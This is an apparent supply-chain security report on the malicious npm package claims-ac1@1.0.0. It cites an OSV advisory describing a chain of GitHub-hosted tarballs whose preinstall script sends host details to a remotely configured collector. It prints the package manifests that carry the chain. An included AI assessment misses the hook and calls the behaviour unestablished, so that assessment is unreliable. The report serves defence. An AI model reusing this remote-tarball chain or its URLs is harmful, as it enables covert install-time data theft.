claims-ac1
This report shows the evidence for claims-ac1@1.0.0. 1 of 3 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 3d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18450 confirms this npm version as malicious.
Advisory
MAL-2026-18450
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in claims-ac1 (npm)
Details
claims-ac1 1.0.0 contains only a package.json declaring a single dependency, node-ac2, that is not fetched from the npm registry but from a tarball in the GitHub repository `GamerD11/ping_test` (`https://github.com/GamerD11/ping_test/raw/main/node-ac2.tgz`). That tarball has no code and in turn depends on node-ac3, another tarball in the same repository (`https://github.com/GamerD11/ping_test/raw/main/node-ac3.tgz`), whose `preinstall` script runs `node index.js` and silently ignores errors. The script reads a collector host name from `https://raw.githubusercontent.com/GamerD11/ping_test/main/test.txt` (an oastify.com host when observed) and does nothing if the file is empty; otherwise it sends an HTTPS POST to that host on port 443, path `/health`, with certificate verification disabled, containing the Node.js version, home directory, working directory, platform and architecture. The package has no legitimate functionality, the data is collected without the user's knowledge, and because the install-time code and the collector host live in a GitHub repository outside the npm package, the publisher can change them at any time without a new npm release. The same repository and mechanism are used by claims-acct-unlock (MAL-2026-18404) and dependencykfeg (MAL-2026-18416). Any machine that installed this version has disclosed the listed host details to a third party; remove the package.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The nested remote tarball chain is unusual and its executable behavior cannot be established from the available source, so it warrants a warning. No lifecycle hook, entry-point behavior, or concrete attack is shown.
Static reason
One or more suspicious static signals were detected.
Trigger
Dependency resolution during installation; runtime behavior is not established.
Impact
Unknown code could enter the dependency tree, but no specific harmful action can be attributed from the available source.
Mechanism
The root manifest references `node-ac2.tgz`, whose available manifest references `node-ac3.tgz`; the corresponding executable code is not present in the inspected snapshot.
AI rationale
The nested remote tarball chain is unusual and its executable behavior cannot be established from the available source, so it warrants a warning. No lifecycle hook, entry-point behavior, or concrete attack is shown.
Evidence
package.json.lpm-dependency-evidence-2f598a75-1fa0-45c7-bd66-0d245581227f/0/npm-linux/package.json
Network endpoints2
github.com/GamerD11/ping_test/raw/main/node-ac2.tgzgithub.com/GamerD11/ping_test/raw/main/node-ac3.tgz
Independent scan evidence
public snapshotAI called this Suspicious at 79.0% confidence as Unknown with high false-positive risk.
Evidence for AI warning decision
- The package declares a dependency on a tarball hosted at a GitHub repository path named `ping_test`.
- The prepared `node-ac2` manifest declares `index.js` as its main file and adds another tarball dependency from the same repository.
Evidence against
- The available manifests declare no lifecycle scripts, and the root manifest has no main or bin entry point.
- The inspected source does not establish what either tarball's executable code does or show a concrete attack.
Behavioral surface
Source & flagged code
3 flaggedpackage.jsonView file
1{
"name": "claims-ac1",
"version": "1.0.0",
"description": "Account utility library",
"dependencies": {
"node-ac2": "https://github.com/GamerD11/ping_test/raw/main/node-ac2.tgz"
},
"keywords": [],
"author": "",
"license": "ISC"
}
High
Suspicious Dependency Evidence
The package declares a dependency on a tarball hosted at a GitHub repository path named `ping_test`.
package.jsonView on unpkg · L1•Remote tarball dependency specs: node-ac2@https://github.com/GamerD11/ping_test/raw/main/node-ac2.tgz
Medium
Remote Tarball Dependency
Package manifest contains a dependency pinned to a remote tarball URL.
package.jsonView on unpkg.lpm-dependency-evidence-2f598a75-1fa0-45c7-bd66-0d245581227f/0/npm-linux/package.jsonView file
1{
"name": "node-ac2",
"version": "1.0.0",
"main": "index.js",
"dependencies": {
"node-ac3": "https://github.com/GamerD11/ping_test/raw/main/node-ac3.tgz"
},
"keywords": [],
"author": "",
"license": "ISC"
}
Findings
2 High1 Medium
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-2f598a75-1fa0-45c7-bd66-0d245581227f/0/npm-linux/package.json
MediumRemote Tarball Dependencypackage.json
Affected versions and remediation
This report applies to claims-ac1@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing claims-ac1@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.